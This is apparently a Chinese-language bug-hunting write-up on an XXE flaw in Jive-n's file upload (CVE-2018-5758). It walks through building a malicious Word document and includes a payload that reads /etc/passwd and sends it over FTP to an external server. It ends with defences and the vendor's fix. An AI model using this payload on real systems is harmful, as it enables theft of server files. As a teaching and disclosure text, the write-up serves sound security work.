挖洞经验 | 看我如何在Jive-n中发现了一个XXE漏洞 (CVE-2018-5758)
字数 1343 2025-08-18 11:37:07
XML外部实体注入(XXE)漏洞分析与利用教学文档
1. XXE漏洞概述
XML外部实体注入(XXE)是一种安全漏洞,攻击者能够通过操纵应用程序的XML解析器来读取服务器上的任意文件,执行远程请求,甚至可能导致服务器端请求伪造(SSRF)。
2. 漏洞发现背景
- 目标系统: Jive Software的Jive-n平台(企业内网社交通信软件)
- 漏洞编号: CVE-2018-5758
- 漏洞类型: 文件上传功能中的XXE漏洞
- 影响: 可读取目标操作系统中的任何文件和文件夹内容
3. 漏洞利用条件
- 应用程序接受XML输入
- XML解析器配置不当,启用了外部实体处理
- 攻击者能够上传或提交恶意构造的XML文件
4. 漏洞利用步骤详解
4.1 准备阶段
-
搭建XXE服务器:
- HTTP监听器(端口80)
- FTP监听器(端口8080)
- 推荐使用Rhino安全实验室开发的专用服务器工具
-
构造恶意Word文档:
- 使用oxml_xxe工具(下载地址)
- 嵌入XXE Payload,目标文件设置为
file:///etc/passwd
-
Payload结构:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY send SYSTEM 'ftp://our-external-server.com:8080/%file;'>"> %all;
4.2 攻击执行
-
上传恶意文档:
- 通过Jive-n的文件上传功能上传构造的Word文档
- 使用"保存草稿"功能避免立即暴露给其他用户
-
触发漏洞:
- 应用程序尝试通过Flash对象预览文档内容
- 点击"View"(查看)选项触发XML解析
-
数据外泄:
- 应用程序解析恶意XML
- 通过FTP协议将目标文件内容发送到攻击者服务器
4.3 验证攻击成功
-
服务器日志检查:
- HTTP请求日志(蓝色框)
- 服务器响应(绿色框)
- FTP传输的数据(橙红色框)
-
目录遍历验证:
- 修改Payload为
file:///etc/可获取目录列表 - 确认服务器能够接收目录结构信息
- 修改Payload为
5. 技术细节分析
-
攻击原理:
- 利用XML解析器处理外部实体的功能
- 通过DTD定义恶意实体引用
- 使用FTP协议绕过某些网络限制
-
关键点:
- 必须能够控制XML输入
- XML解析器必须启用外部实体处理
- 需要外网服务器接收数据
-
攻击扩展:
- 读取系统敏感文件(如/etc/passwd)
- 内网端口扫描
- 服务器端请求伪造(SSRF)
6. 防御措施
6.1 开发层面
-
禁用外部实体处理:
// Java示例 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
使用安全配置:
- 使用最新的XML解析库
- 启用安全处理模式
-
输入验证:
- 对上传文件进行严格的内容检查
- 限制文件类型
6.2 运维层面
-
部署WAF:
- 配置规则拦截XXE攻击特征
-
文件扫描:
- 使用反病毒软件扫描上传文件
- 监控异常外联请求
-
网络限制:
- 限制服务器出站连接
- 监控异常FTP请求
7. 厂商修复方案
Jive-n的修复措施:
- 禁用远程DTD访问
- XML解释器不再处理外部实体
- SaaS版本已更新修复
8. 学习资源
9. 总结
XXE漏洞危害严重,通过精心构造的XML文件可以读取服务器敏感信息。防御需要开发、运维多层面配合,关键是要禁用XML解析器的外部实体处理功能。此案例展示了如何通过文件上传功能利用XXE漏洞,对类似功能的安全设计具有重要参考价值。